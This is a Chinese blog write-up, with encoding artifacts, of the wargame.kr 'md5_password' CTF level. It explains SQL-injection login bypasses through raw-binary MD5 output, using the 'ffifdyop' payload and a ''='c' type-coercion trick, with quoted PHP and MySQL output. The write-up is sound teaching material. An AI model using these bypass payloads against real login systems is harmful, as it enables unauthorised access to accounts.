wargame.kr md5_password與SQL注射

http://wargame.kr:8080/md5_password/index.php

關(guān)鍵源碼

$ps=mysql_real_escape_string($_POST['ps']);

$row=@mysql_fetch_array(mysql_query("select?*?from?admin_password?where?password='".md5($ps,true)."'"));

這里注意md5函數(shù)還帶了參數(shù)true。語法:

md5(string,raw)

參數(shù)描述

string必需。規(guī)定要計(jì)算的字符串。

raw可選。規(guī)定十六進(jìn)制或二進(jìn)制輸出格式:

TRUE - 原始 16 字符二進(jìn)制格式

FALSE - 默認(rèn)。32 字符十六進(jìn)制數(shù)

所以如果某個(gè)payload的md5取二進(jìn)制之后的值是 口口' or '1口口 就會(huì)使得select * from admin_password where password='口口' or '1口口' ?。注意or 最后可以1或2或3等數(shù)字開頭,MySQL會(huì)將其處理為數(shù)字類型。

那么經(jīng)典的這樣的payload 就是ffifdyop ,其md5 二進(jìn)制后內(nèi)容是 ?'or'6?]??

----------------

還有另外一種解法是,尋找一個(gè)payload 包含'=' ? 使得構(gòu)造select * from admin_password where password=''='c' ? ? ?。解釋一下 password='' 得到0 ,然后0='c' 因?yàn)镸ySQL將'c'看做數(shù)字類型于是判斷布爾成立。

mysql> select * from users where password =''='';

+-------+----------+

| name? | password |

+-------+----------+

| guest | guest? ? |

+-------+----------+

1 row in set (0.00 sec)

mysql> select * from users where password =''='c';

+-------+----------+

| name? | password |

+-------+----------+

| guest | guest? ? |

+-------+----------+

1 row in set, 1 warning (0.00 sec)

mysql> select * from users where password =''='1';

Empty set (0.00 sec)

http://mslc.ctf.su/wp/leet-more-2010-oh-those-admins-writeup/

http://blog.csdn.net/qq_19876131/article/details/52890945

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 什么是數(shù)據(jù)庫? 數(shù)據(jù)庫是存儲(chǔ)數(shù)據(jù)的集合的單獨(dú)的應(yīng)用程序。每個(gè)數(shù)據(jù)庫具有一個(gè)或多個(gè)不同的API,用于創(chuàng)建,訪問,管理...
    chen_000閱讀 4,146評(píng)論 0 19
  • 【MySQL】Linux下MySQL 5.5、5.6和5.7的RPM、二進(jìn)制和源碼安裝 1.1BLOG文檔結(jié)構(gòu)圖 ...
    小麥苗DB寶閱讀 10,900評(píng)論 0 31
  • sqlmap用戶手冊(cè) 說明:本文為轉(zhuǎn)載,對(duì)原文中一些明顯的拼寫錯(cuò)誤進(jìn)行修正,并標(biāo)注對(duì)自己有用的信息。 ======...
    wind_飄閱讀 2,207評(píng)論 0 5
  • http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 當(dāng)給sq...
    xuningbo閱讀 10,567評(píng)論 2 22
  • 難忘那首歌曲 以及你在歌里提出的問題 而聽到的我措手不及 只能用沉默,回你 . 難忘那時(shí)的身影 以及身影轉(zhuǎn)瞬的離去...
    水搖絹閱讀 307評(píng)論 0 1

友情鏈接更多精彩內(nèi)容